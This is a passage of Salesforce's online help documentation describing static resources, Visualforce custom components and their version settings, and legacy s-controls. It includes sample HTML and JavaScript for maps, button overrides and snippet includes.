profile has restrictions based on IP range or login hours. Sites with guest user profile restrictions cache static
resources only within the browser. Also, if a previously unrestricted site becomes restricted, it can take up to
45 days for the static resources to expire from the Salesforce cache and any intermediate caches.

Public specifies that the static resource data cached on the Salesforce server be shared with other users in your
organization for faster load times.

The W3C specifications on Header Field Definitions has more technical information about cache-control.
Note: This feature only works for Sitesenabled organizations that use the static resource.

7. Click Save.
Caution: If you are using WinZip be sure to install the most recent version. Older versions of WinZip may cause a
loss of data.

See Also:
What is a Static Resource?
Managing Static Resources
Viewing and Editing Static Resources
Visualforce Overview
Developer's Guide: Visualforce Developer's Guide

2116

Develop

Managing Static Resources

Managing Static Resources


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create and edit static resources:

Customize Application

After creating static resources, you can customize, edit, and delete them. Click Your Name > Setup > Develop > Static
Resources to display the Static Resources list page, which shows the list of resources defined for your organization. From this
page you can:

Click New Static Resource to define a new static resource.


Click a resource name to display detailed information about the page, including its MIME type and size.
Click Edit next to a resource to modify the resource's name or to upload a new version of the resource.
Click Del to remove a resource.
Note: The namespace prefix is added to Apex classes and triggers, Visualforce components and pages, brand templates,
folders, s-controls, static resources, web links, and custom report types if they are included in a managed package.
However, if you don't have customize application permissions, the namespace prefix field is not displayed for brand
templates, folders, and custom report types. For more information on namespace prefixes, see Registering a Namespace
Prefix on page 1944.

See Also:
What is a Static Resource?
Defining Static Resources
Viewing and Editing Static Resources
Visualforce Overview
Developer's Guide: Visualforce Developer's Guide

Viewing and Editing Static Resources


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To clone, edit, or delete static resources:

Customize Application

Click Your Name > Setup > Develop > Static Resources and click the name of a resource to view its details, including its
MIME type, the size of the resource in bytes, when it was created, and when it was last modified.

2117

Develop

What is a Custom Component?

From the detail page, you can do any of the following:

Click Edit to edit the resource.


Click Delete to delete the resource.
Click Clone to create a copy of the resource. You must specify a new name for the new resource.
Click Where is this used? to view a list of all references to the static resource in your organization.

See Also:
What is a Static Resource?
Defining Static Resources
Managing Static Resources
Visualforce Overview
Developer's Guide: Visualforce Developer's Guide

What is a Custom Component?


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Salesforce provides a library of standard, pre-built components, such as <apex:relatedList> and <apex:dataTable>,
that can be used to develop Visualforce pages. In addition, you can build your own custom components to augment this library.
A custom component encapsulates a common design pattern that can be reused in one or more Visualforce pages. It consists
of:

A set of Visualforce markup demarcated by the <apex:component> tag


An optional component controller written in Apex that allows the component to perform additional logic, such as sorting
items in a list, or calculating values

For example, suppose you want to create a photo album using Visualforce pages. Each photo in the album has its own border
color, and a text caption that displays beneath it. Rather than repeating the Visualforce markup required for displaying every
photo in the album, you can define a custom component named singlePhoto that has attributes for image, border color,
and caption, and then uses those attributes to display the image on the page. Once defined, every Visualforce page in your
organization can leverage the singlePhoto custom component in the same way as a page can leverage standard components
such as <apex:dataTable> or <apex:relatedList>.
Unlike page templates, which also enable developers to reuse markup, custom components provide more power and flexibility
because:

Custom components allow developers to define attributes that can be passed in to each component. The value of an attribute
can then change the way the markup is displayed on the final page, and the controller-based logic that executes for that
instance of the component. This behavior differs from that of templates, which do not have a way of passing information
from the page that uses a template to the template's definition itself.

2118

Develop

Defining Custom Components

Custom component descriptions are displayed in the application's component reference dialog alongside standard component
descriptions. Template descriptions, on the other hand, can only be referenced through the Setup area of Salesforce because
they are defined as pages.

See Also:
Defining Custom Components
Managing Custom Components
Viewing and Editing Custom Components
Developer's Guide: Visualforce Developer's Guide
Developer's Guide: Force.com Apex Code Developer's Guide

Defining Custom Components


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create custom components:

Customize Application

To create a custom component:


1.
2.
3.
4.

5.
6.
7.

8.

In Salesforce click Your Name > Setup > Develop > Components.
Click New.
In the Label text box, enter the text that should be used to identify the custom component in Setup tools.
In the Name text box, enter the text that should identify this custom component in Visualforce markup. This name can
contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a
letter, not include spaces, not end with an underscore, and not contain two consecutive underscores.
In the Description text box, enter a text description of the custom component. This description appears in the component
reference with other standard component descriptions as soon as you click Save.
In the Body text box, enter Visualforce markup for the custom component definition. A single component can hold up to
1 MB of text, or approximately 1,000,000 characters.
Click Version Settings to specify the version of Visualforce and the API used with this component. If your organization
has installed managed packages from the AppExchange, you can also specify which version of each managed package to
use. Generally, you should use the default values for all versions. This associates the component with the most recent
version of Visualforce and the API, as well as each managed package. You can specify an older version of Visualforce and
the API to maintain specific behavior. You can specify an older version of a managed package if you want to access package
components or functionality that differs from the most recent package version.
Click Save to save your changes and view the custom component's detail screen, or click Quick Save to save your changes
and continue editing your component. Your Visualforce markup must be valid before you can save your component.
Note: You can also create a custom component in Visualforce development mode by adding a reference to a custom
component that does not yet exist to Visualforce page markup. After saving the markup, a quick fix link appears that
allows you to create a new component definition (including any specified attributes) based on the name that you
provided for the component.

2119

Develop

Defining Custom Components

For example, if you have not yet defined a custom component named myNewComponent and insert
<c:myNewComponent myNewAttribute="foo"/> into existing page markup, after clicking Save a quick fix
allows you to define a new custom component named myNewComponent with the following default definition:
<apex:component>
<apex:attribute name="myattribute" type="String" description="TODO: Describe me"/>
<!-- Begin Default Content REMOVE THIS -->
<h1>Congratulations</h1>
This is your new Component: mynewcomponent
<!-- End Default Content REMOVE THIS -->
</apex:component>

You can modify this definition in the Setup area by clicking Your Name > Setup > Develop > Components and then
clicking Edit next to the myNewComponent custom component.

See Also:
What is a Custom Component?
Managing Custom Components
Viewing and Editing Custom Components
Managing Version Settings for Custom Components
Developer's Guide: Visualforce Developer's Guide

Managing Version Settings for Custom Components


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To clone, edit, delete, or set versions for custom components: Customize Application

To aid backwards-compatibility, each Visualforce component is saved with version settings for the specified version of the
API as well as the specific version of Visualforce. If the Visualforce component references installed managed packages, the
version settings for each managed package referenced by the Visualforce component is saved too. This ensures that as Visualforce,
the API, and the components in managed packages evolve in subsequent versions, a component is still bound to versions with
specific, known behavior.
A package version is a number that identifies the set of components uploaded in a package. The version number has the format
majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor numbers increase to a chosen value
during every major release. The patchNumber is generated and updated only for a patch release.
Note: Package components and custom component are distinct concepts. A package is comprised of many components,
such as custom objects, Apex classes and triggers, and custom components.
Publishers can use package versions to evolve the components in their managed packages gracefully by releasing subsequent
package versions without breaking existing customer integrations using the package.

2120

Develop

Defining Custom Components

To set the Salesforce API and Visualforce version for a custom component:
1. Edit a custom component and click Version Settings.
Note: You can only access the version settings for a custom component if you edit a custom component by clicking
Your Name > Setup > Develop > Components. You cannot access them if you edit a custom component using
Developer Mode.
2. Select the Version of the Salesforce API. This is also the version of Visualforce used with the custom component.
3. Click Save.
To configure the package version settings for a custom component:
1. Edit a custom component and click Version Settings.
2. Select a Version for each managed package referenced by the custom component. This version of the managed package
will continue to be used by the custom component if later versions of the managed package are installed, unless you manually
update the version setting. To add an installed managed package to the settings list, select a package from the list of available
packages. The list is only displayed if you have an installed managed package that is not already associated with the page
or component.
3. Click Save.
Note the following when working with package version settings:

If you save a custom component that references a managed package without specifying a version of the managed package,
the custom component is associated with the latest installed version of the managed package by default.
You cannot Remove a custom component's version setting for a managed package if the package is referenced by the
custom component. Use Show Dependencies to find where the managed package is referenced.

See Also:
What is a Custom Component?
Managing Custom Components
Viewing and Editing Custom Components
Managing Packages
About Package Versions
Developer's Guide: Visualforce Developer's Guide

2121

Develop

Managing Custom Components

Managing Custom Components


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create and edit custom components:

Customize Application

After creating custom components, you can view, edit and delete them. Click Your Name > Setup > Develop > Components
to display the Components list page, which shows the list of custom components defined for your organization. From this
page you can:

Click New to define a new custom component.


Click a custom component name to display detailed information about the component.
Click Edit to modify a component's name or markup.
Note: A

icon indicates that a Visualforce custom component is in an installed managed package. You cannot

edit or delete a Visualforce custom component in a managed package. A icon indicates that a Visualforce custom
component in a previously released managed package will be deleted on the next package upload. You can choose
to undelete the Visualforce custom component through the package detail page.

Click Del to remove a custom component from your organization.


Note: The namespace prefix is added to Apex classes and triggers, Visualforce components and pages, brand templates,
folders, s-controls, static resources, web links, and custom report types if they are included in a managed package.
However, if you don't have customize application permissions, the namespace prefix field is not displayed for brand
templates, folders, and custom report types. For more information on namespace prefixes, see Registering a Namespace
Prefix on page 1944.

See Also:
What is a Custom Component?
Defining Custom Components
Viewing and Editing Custom Components
Developer's Guide: Visualforce Developer's Guide

2122

Develop

Viewing and Editing Custom Components

Viewing and Editing Custom Components


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To clone, edit, delete, or set versions for custom components: Customize Application

Click Your Name > Setup > Develop > Components and click the name of a custom component to view its definition.
From the detail page, you can do any of the following:

Click Edit to edit the custom component.


Click Delete to delete the custom component.
Click Clone to create a copy of the custom component. You must specify a new name for the new component.
Click Where is this used? to view a list of all references to the custom component in your organization.
Click Show Dependencies to display the items, such as another competent, permission, or preference, that must exist for
this custom component to be valid. For more information, see Understanding Dependencies on page 1970.

To aid backwards-compatibility, custom components are stored with the version settings for a specified version of Visualforce
and the API. If the page references package components, such as a custom object, in an installed managed package, the version
settings for each managed package referenced by the custom component are saved too.
Once your component has been created, you can view it at
http://mySalesforceInstance/apexcomponent/nameOfNewComponent, where the value of mySalesforceInstance
is the host name of your Salesforce instance (for example, na3.salesforce.com) and the value of nameOfNewComponent
is the value of the Name field on the custom component definition.

The component is displayed as if it is a Visualforce page. Consequently, if your component relies on attributes or on the content
of the component tag's body, this URL may generate results that you do not expect. To more accurately test a custom component,
add it to a Visualforce page and then view the page.

See Also:
What is a Custom Component?
Defining Custom Components
Managing Custom Components
Managing Version Settings for Custom Components
Developer's Guide: Visualforce Developer's Guide

2123

Develop

Defining Custom S-Controls

Defining Custom S-Controls


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, and delete custom s-controls:

Customize Application

Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never
created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain
unaffected, and can still be edited.
The custom s-control library is a place where you can store and upload content for use in many areas within Salesforce such
as: custom links, Web tabs, custom buttons, and dashboards. S-controls provide a flexible, open means of extending the
Salesforce user interface, including the ability to create and display your own custom data forms.
An s-control can contain any type of content that you can display or run in a browser, for example, a Java applet, an ActiveX
control, an Excel file, or a custom HTML Web form.
To define an s-control:
1. Click Your Name > Setup > Develop > S-Controls.
2. Click New Custom S-Control, or click Edit to change an existing custom s-control.
3. Enter the following attributes:
Attribute Name

Description

Label

The text that displays on page layouts for embedded s-controls.

S-Control Name

The unique name for the s-control. This name can contain only underscores and alphanumeric
characters, and must be unique in your organization. It must begin with a letter, not include
spaces, not end with an underscore, and not contain two consecutive underscores.

Type

Determines how you plan to use the s-control:


HTML
Select this option if you want to enter the content for your s-control in the Content
area.
URL
Select this option if you want to enter the link or URL of an external website in the
Content area.
Snippet
Snippets are s-controls that are designed to be included in other s-controls. Select this
option if you want to enter the content for your s-control snippet in the Content area.
For common uses of snippets, see Useful S-Controls on page 2131.

Description

Text that describes the s-control. This only displays to administrators.

2124

Develop

Defining Custom S-Controls

Attribute Name

Description

Content

Enter the content or source for your s-control. You can enter up to 1 million characters in
this field. The HTML code defines exactly how your users should view the custom s-control.
If you are building a formula in the Advanced Formula tab or for approvals or rules, such
as workflow, validation, assignment, auto-response, or escalation, click Insert Field,
choose a field, and click Insert.
To create a basic formula that passes specific Salesforce data, select the Simple Formula
tab, choose the field type in the Select Field Type drop-down list, and choose one
of the fields listed in the Insert Field drop-down list.
Tip: Build cross-object formulas to span to related objects and reference merge
fields on those objects.

To insert an operator, choose the appropriate operator icon from the Insert Operator
drop-down list. Use the examples in Operators and Functions on page 1203.
To insert a function, double-click its name in the list, or select it and click Insert Selected
Function. To filter the list of functions, choose a category from the Functions
drop-down list. Select a function and click Help on this function to view a description
and examples of formulas using that function.
To reference a file that you uploaded in the Filename field as part of the custom s-control,
select Custom S-Control from the Select Field Type drop-down list, and choose
Custom S-Control URL to get the merge field for it. For a Java applet, you can also use
the {!Scontrol_JavaCodebase} merge field and the {!Scontrol_JavaArchive}
merge field.
To insert activity merge fields, select Event or Task from the Select Field Type
drop-down list.
Tip: Internet standards require special encoding for URLs. Salesforce automatically
encodes the text from any merge field you insert into a link. Encode any additional
text in your link manually. For example, to generate the following URL:
http://www.google.com/search?q={!user.name} Steve Mark 50%

Use this content:


http://www.google.com/search?q={!user.name}+Steve+Mark+50%25

Salesforce automatically strips double quotes from URLs when the Content
Source is URL. If you need to use double quotes, encode them manually. For
example, to generate the URL
http://www.google.com/search?q="salesforce+foundation", use
this content:
http://www.google.com/search?q=%22salesforce+foundation%22.
Filename

Upload a file to display when you add this custom s-control to a custom link. The file can
contain a Java applet, Active-X control, or any other type of content you want. This option
only applies to HTML s-controls.

2125

Develop

Defining Custom S-Controls

Attribute Name

Description

Prebuild In Page

This option keeps the s-control in memory, which may improve performance when the page
is reloaded because the s-control does not have to be reloaded as well. This option only applies
to HTML s-controls.

Encoding

The default encoding setting is Unicode (UTF-8). Change it if you are passing information
to a URL that requires data in a different format. This option is available when you select
URL for the Type.

4. Optionally, click Check Syntax to validate all Salesforce merge fields and functions.
5. Click Save when you are finished. Alternatively, click Quick Save to save and continue editing.
Note: If you have a namespace prefix and your s-control references merge fields without their namespace prefix,
Salesforce automatically prepends them with the your namespace prefix.
6. Create a custom button or link to display the custom s-control to your users. See Defining Custom Buttons and Links on
page 1254. Alternatively, create a Web tab using the custom s-control, add the s-control to a page layout, or add the s-control
to a dashboard. You can also use an s-control as online help content for a custom object. For instructions on creating
object-level help, see Defining Object-Level Help on page 1609.

See Also:
Useful S-Controls
Tips on Building S-Controls
Understanding Global Variables
Viewing and Editing S-Controls
Deleting Custom S-Controls
About S-Controls
Documentation Resources for Force.com Developers

About S-Controls
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never
created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain
unaffected, and can still be edited.
Use s-controls to add your own functionality to your Salesforce organization. Whether you are integrating a hosted application
of your own or are extending your current Salesforce user interface, use s-controls to store your code or refer to code elsewhere.
Custom s-controls can contain any type of content that you can display in a browser, for example a Java applet, an Active-X
control, an Excel file, or a custom HTML Web form.
S-controls have the following attributes:

2126

Develop

Defining Custom S-Controls

Attribute Name

Description

Label

The text that displays on page layouts for embedded s-controls.

S-Control Name

The unique name for the s-control. This name can contain only underscores and alphanumeric
characters, and must be unique in your organization. It must begin with a letter, not include
spaces, not end with an underscore, and not contain two consecutive underscores.

Type

Determines how you plan to use the s-control:


HTML
Select this option if you want to enter the content for your s-control in the Content area.
URL
Select this option if you want to enter the link or URL of an external website in the
Content area.
Snippet
Snippets are s-controls that are designed to be included in other s-controls. Select this
option if you want to enter the content for your s-control snippet in the Content area.
For common uses of snippets, see Useful S-Controls on page 2131.

Description

Text that describes the s-control. This only displays to administrators.

Content

Enter the content or source for your s-control. You can enter up to 1 million characters in this
field. The HTML code defines exactly how your users should view the custom s-control.
If you are building a formula in the Advanced Formula tab or for approvals or rules, such
as workflow, validation, assignment, auto-response, or escalation, click Insert Field, choose
a field, and click Insert.
To create a basic formula that passes specific Salesforce data, select the Simple Formula
tab, choose the field type in the Select Field Type drop-down list, and choose one of
the fields listed in the Insert Field drop-down list.
Tip: Build cross-object formulas to span to related objects and reference merge
fields on those objects.

To insert an operator, choose the appropriate operator icon from the Insert Operator
drop-down list. Use the examples in Operators and Functions on page 1203.
To insert a function, double-click its name in the list, or select it and click Insert Selected
Function. To filter the list of functions, choose a category from the Functions drop-down
list. Select a function and click Help on this function to view a description and examples
of formulas using that function.
To reference a file that you uploaded in the Filename field as part of the custom s-control,
select Custom S-Control from the Select Field Type drop-down list, and choose
Custom S-Control URL to get the merge field for it. For a Java applet, you can also use the
{!Scontrol_JavaCodebase} merge field and the {!Scontrol_JavaArchive} merge
field.
To insert activity merge fields, select Event or Task from the Select Field Type
drop-down list.

2127

Develop

Defining Custom S-Controls

Attribute Name

Description
Tip: Internet standards require special encoding for URLs. Salesforce automatically
encodes the text from any merge field you insert into a link. Encode any additional
text in your link manually. For example, to generate the following URL:
http://www.google.com/search?q={!user.name} Steve Mark 50%

Use this content:


http://www.google.com/search?q={!user.name}+Steve+Mark+50%25

Salesforce automatically strips double quotes from URLs when the Content
Source is URL. If you need to use double quotes, encode them manually. For
example, to generate the URL
http://www.google.com/search?q="salesforce+foundation", use
this content:
http://www.google.com/search?q=%22salesforce+foundation%22.
Filename

Upload a file to display when you add this custom s-control to a custom link. The file can contain
a Java applet, Active-X control, or any other type of content you want. This option only applies
to HTML s-controls.

Prebuild In Page

This option keeps the s-control in memory, which may improve performance when the page is
reloaded because the s-control does not have to be reloaded as well. This option only applies to
HTML s-controls.

Encoding

The default encoding setting is Unicode (UTF-8). Change it if you are passing information to
a URL that requires data in a different format. This option is available when you select URL
for the Type.

See Also:
Useful S-Controls
Defining Custom S-Controls
Documentation Resources for Force.com Developers

Considerations for S-Controls in Force.com AppExchange Packages


If you are developing Force.com AppExchange packages with s-controls or are planning to install a AppExchange package
with s-controls, you should be aware of the following limitations:

For packages you are developing (that is, not installed from AppExchange), you can only add s-controls to packages with
the default Unrestricted API access. Once a package has an s-control, you cannot enable Restricted API access.
For packages you have installed, you can enable access restrictions even if the package contains s-controls. However, access
restrictions provide only limited protection for s-controls. Salesforce recommends that you understand the JavaScript in
an s-control before relying on access restriction for s-control security.

2128

Develop

Defining Custom S-Controls

If an installed package has Restricted API access, upgrades will be successful only if the upgraded version does not
contain any s-controls. If s-controls are present in the upgraded version, you must change the currently installed package
to Unrestricted API access.

S-Control Terminology
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never
created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain
unaffected, and can still be edited.
The following terminology is used for custom s-controls in Salesforce:
Advanced Function
A formula function designed for use in custom buttons, links, and s-controls. For example, the INCLUDE advanced
function returns the content from an s-control snippet. For more details on advanced functions, see Operators and
Functions on page 1203.
Global Variable
A special merge field that you can use to reference data in your organization. For more information, see Understanding
Global Variables on page 2137.
S-Control
Note: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never
created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain
unaffected, and can still be edited.
Custom Web content for use in custom links. Custom s-controls can contain any type of content that you can display
in a browser, for example a Java applet, an Active-X control, an Excel file, or a custom HTML Web form.
Snippet
A type of s-control that is designed to be included in other s-controls. Similar to a helper method that is used by other
methods in a piece of code, a snippet allows you to maintain a single copy of HTML or JavaScript that you can reuse
in multiple s-controls. For common uses of snippets, see Useful S-Controls on page 2131.

2129

Develop

Defining Custom S-Controls

Viewing and Editing S-Controls


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, and delete custom s-controls:

Customize Application

Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never
created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain
unaffected, and can still be edited.
To view the details of a custom s-control, click Your Name > Setup > Develop > S-Controls and select the s-control name.
For a description of the s-control attributes, see About S-Controls on page 2126.

To make changes to an s-control, click Edit. For more information, see Defining Custom S-Controls on page 2124.
To remove an s-control, click Del. For more information, see Deleting Custom S-Controls on page 2130.
To view a list of other components in Salesforce that reference the s-control, click Where is this used?. For more information,
see Viewing References to Salesforce Components on page 1263.

See Also:
Useful S-Controls
Tips on Building S-Controls
About S-Controls
Documentation Resources for Force.com Developers

Deleting Custom S-Controls


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, and delete custom s-controls:

Customize Application

Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never
created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain
unaffected, and can still be edited.
Salesforce empowers you to reference s-controls in many different areas within the application. Before deleting a custom
s-control, check where it is used.

2130

Develop

Defining Custom S-Controls

To delete a custom s-control:


1. Click Your Name > Setup > Develop > S-Controls.
2. Click Del next to the custom s-control you want to delete.
3. Click OK to confirm.
Note: You cannot delete a custom s-control that is used elsewhere in Salesforce. Deleted s-controls do not go into
the Recycle Bin.

See Also:
Downloading Salesforce WSDLs and Client Authentication Certificates
Setting Custom Buttons and Links
Defining Custom S-Controls
Useful S-Controls
Tips on Building S-Controls

Useful S-Controls
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Custom buttons and links are available in: All Editions


S-controls are available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions
Overriding standard buttons and tab home pages is available in: Enterprise, Unlimited, and Developer Editions

Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never
created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain
unaffected, and can still be edited.
Use the following samples to get started using s-controls:

S-Controls for Detail Pages


S-Controls that Override Standard Buttons and Tab Home Pages

2131

Develop

Defining Custom S-Controls

S-Controls that Include Snippets

See Also:
Defining Custom S-Controls
Tips on Building S-Controls
Understanding Global Variables
About S-Controls
Overriding Standard Buttons and Tab Home Pages
Documentation Resources for Force.com Developers

S-Controls for Detail Pages


Yahoo Map
Use the Yahoo Map API and the billing address merge fields to display a map for an account. Use the following code in an
HTML s-control and add it to your account detail page layout:
<html>
<head>
<script type="text/javascript"
src="http://api.maps.yahoo.com/ajaxymap?v=3.0&appid=YahooDemo">
</script>
<style type="text/css">
#mapContainer {
height: 200px;
width: 100%;
}
</style>
</head>
<body>
<div id="mapContainer"></div>
<script type="text/javascript">
// Create a map object
var map = new YMap(document.getElementById('mapContainer'));
// Display the map centered on given address
map.drawZoomAndCenter("{!Account.BillingStreet}, \
{!Account.BillingCity},\
{!Account.BillingState},\
{!Account.BillingPostalCode}", 3);
// Set marker at that address
map.addMarker("{!Account.BillingStreet}, \
{!Account.BillingCity},\
{!Account.BillingState},\
{!Account.BillingPostalCode}", 3);
</script>
</body>
</html>

2132

Develop

Defining Custom S-Controls

S-Controls that Override Standard Buttons and Tab Home Pages


Add Product Override
You may have your own code that you prefer to use for adding products to opportunities instead of the standard page. Use
the s-control sample below to pass data values using merge fields from a record detail page into a custom s-control that overrides
the Add Product button on the Products related list of an opportunity. This type of override illustrates how related list buttons
can contain merge fields from the master object as well as the detail. For example, the code below contains opportunity merge
fields, which is on the master side of a master-detail relationship with opportunity products.
<html>
<head>
<script type="text/javascript"
src="/soap/ajax/13.0/connection.js">
</script>
</head>
<body>
<b>Opportunity Info:</b>
<br>
Opportunity ID: {!Opportunity.Id}
<br>
Opportunity Name: {!Opportunity.Name}
<br>
Opportunity Record Type: {!Opportunity.RecordType}
<br>
</body>
</html>

To implement this functionality, create an HTML s-control with the content above inserting your code in the space provided.
Then, override the add product action from the opportunity products object using the s-control. This example assumes you
have record types on opportunities.
Note: This example does not include the code to add products. The content in the body section simply illustrates
how to use opportunity merge fields from the opportunity products related list. Replace the body section with your
code.
Conditional Override for Editing Leads
You can override a standard action conditionally, redirecting to a standard action or custom s-control depending on certain
conditions. For example, you may want to use a separate s-control to edit leads when they have been open longer than 30 days.
Using the following example, create an s-control to evaluate if a lead has been open longer than 30 days and, if so, run your
custom s-control to edit leads. Otherwise, use the standard lead edit action.
<script type="text/javascript">
//determine if the lead has been open longer than 30 days
if ({!IF(ISPICKVAL( Lead.Status , "Open"), ROUND(NOW()- Lead.CreatedDate , 0), 0)} > 30)
{
//more than 30 days - display a custom scontrol page
window.location.href="{!URLFOR($SControl.EditLeadsOpenLongerThan30)}";
}
else
{
//30 days or less - display the standard edit page
window.parent.location.href="{!URLFOR($Action.Lead.Edit, Lead.Id,
[retURL=URLFOR($Action.Lead.View, Lead.Id)], true)}";
}
</script>

2133

Develop

Defining Custom S-Controls

To implement this in your organization, create the s-control that you want to use to edit leads that have been open longer
than 30 days. Name this s-control EditLeadsOpenLongerThan30. Next, create an s-control using the example code above to
determine if a lead has been open longer than 30 days, and, if so, override the edit action on leads using the
EditLeadsOpenLongerThan30 s-control.
Note the differences between the first and second if statements in the example code above. The first one is a JavaScript if
statement that evaluates on the browser. The second is the Salesforce IF function that evaluates on the server and returns a
single valuethe number of days the lead has been open, or zero if the lead is not open.
Tip: Use the URLFOR function in this example to build Salesforce URLs rather than specifying individual URLs
to ensure they are supported across releases.
To display a standard Salesforce page without invoking the override, set the no override argument in the URLFOR
function to true.
Also, use the retURL parameter in your URLFOR function to return the user to the detail page after saving.
Edit Contact Override
You may have your own code that you prefer to use for editing contacts. Use the s-control sample below to pass data values
using merge fields from a record detail page into a custom s-control that overrides a standard detail page button.
<html>
<head>
<script type="text/javascript" src="/soap/ajax/13.0/connection.js">
</script>
</head>
<body>
<b>Contact Info:</b>
<br>
Contact ID: {!Contact.Id}
<br>
Contact Name: {!Contact.FirstName} {!Contact.LastName}
<br>
</body>
</html>

To implement this functionality, create an HTML s-control with the content above inserting your code in the body section.
Then, override the edit contact action using the s-control. This overrides the edit contact action everywhere it is available: the
Edit button on a contact detail page, the Edit link on list views, and the Edit link on any related lists.
Note: This example does not include the code to edit contacts. The code within the body section only illustrates how
to use contact merge fields to display information about the contact. Replace the body section with your code.

Interrupt Override for New Accounts


Overriding standard buttons makes them unavailable in your entire Salesforce organization. However, you can override a
standard action and redirect to that action from your s-control without getting into an infinite loop. For example, you can
override the New button on accounts, perform your own custom process, and resume with the standard new account action
without getting into an infinite loop. To do this, use the no override argument in the URLFOR function.
<script type="text/javascript">
alert("Hi, I am demonstrating how to interrupt New Account with an override.
continue.");

Click OK to

window.parent.location.href="{! URLFOR($Action.Account.New, null, null, true)}";

2134

Develop

Defining Custom S-Controls

</script>

To implement this s-control, create an HTML s-control with the content above. Then, override the new account action using
the s-control.
Note: The new action does not require an ID, which is why the second argument in the URLFOR function is set to
null. This example does not require any inputs, which is why the third argument in the URLFOR function is set to
null. The fourth argument in the URLFOR function is set to true to ignore the override, avoiding an infinite loop.
Conditional Accounts Tab Home Page Override
You can override a tab home page conditionally, redirecting the original tab home page to an s-control depending on certain
conditions. For example, you may want to display an s-control, instead of the standard Accounts tab home page, to users with
a specific profile. Using the following sample code, create an s-control to display job applicant information to users with the
Recruiter profile when they click the Accounts tab; for all other users, display the standard Accounts tab home page.
To implement this, first create an s-control called ApplicantHomePage that contains the content to display to recruiters.
Next create an s-control of type HTML using the following code to implement the conditional override logic:
<script type="text/javascript">
//determine the user profile name
var recruiter = {!IF($Profile.Name = "Recruiter", true, false)};
//when the profile is recruiter - display a custom s-control page
if (recruiter) {
window.parent.location.href="{! urlFor($SControl.ApplicantHomePage)}";
} else {
//when the profile is not recruiter - display the standard Accounts tab page
window.parent.location.href="{! urlFor( $Action.Account.Tab ,
$ObjectType.Account,null,true)}";
}
</script>

Finally, override the Accounts tab to use the HTML s-control shown here. This example assumes that a profile named
Recruiter exists in your organization.
Note: $Profile merge fields are only available in Enterprise, Unlimited, and Developer Editions.

S-Controls that Include Snippets


Including Snippets
Include snippets in your custom s-controls to reuse common code. The following example references a snippet that provides
a header for a page that displays in a web tab. The page will have the title My Title. Use the $SControl global variable to
reference a snippet. To implement this, create two snippets called Resize_Iframe_head and Resize_Iframe_onload and
create an HTML s-control called Resize_Iframe_sample that includes the following code:
<html>
<body>
{! INCLUDE($SControl.Header_Snippet,
[title = "My Title", theme = "modern"])}
</body>
</html>

2135

Develop

Defining Custom S-Controls

For more information on using this function, see INCLUDE on page 1224.

Tips on Building S-Controls


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, and delete custom s-controls:

Customize Application

Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never
created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain
unaffected, and can still be edited.
Use the following tips when building s-controls:

If you create a URL s-control, do not select Show Section Heading on Detail Page in the page layout section where you
put the s-control. This option in conjunction with collapsible sections causes some problems in certain browsers.
Use global variables to access special merge fields for components like custom buttons, links, and s-controls. For example,
the $Request global variable allows you to access query parameters inside a snippet, s-control, or custom button.
Use the {!$Organization.UISkin} merge field in your s-control to retrieve the User Interface Theme that the
organization has selected. The Theme1 value for this merge field represents the Salesforce Classic theme and Theme2
represents the Salesforce theme. To view this merge field in an example, see Useful S-Controls on page 2131.
S-controls use the {! and } characters (previously used to surround merge fields in formulas) to enclose an expression, which
can include one or more merge fields, functions, or global variables.
When overriding an action, use the no override argument to prevent a recursion, indicated by empty frames on the
page.
To insert activity merge fields, select Event or Task from the Select Field Type drop-down list.

See Also:
Defining Custom S-Controls
Useful S-Controls
Understanding Global Variables
About S-Controls
Documentation Resources for Force.com Developers

2136

Develop

Defining Custom S-Controls

Understanding Global Variables


S-controls and formulas available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer
Editions
Custom buttons and links are available in: All Editions
Visualforce available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions
$Profile global merge field type available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, and delete custom s-controls, formulas, or
Visualforce pages:

Customize Application

Components such as s-controls, custom buttons, custom links, formulas, and Visualforce pages allow you to use special merge
fields to reference the data in your organization. Use the following global variables when choosing a merge field type to add
to your custom component:

$Action
Description:

Use:

A global merge field type to use when referencing standard


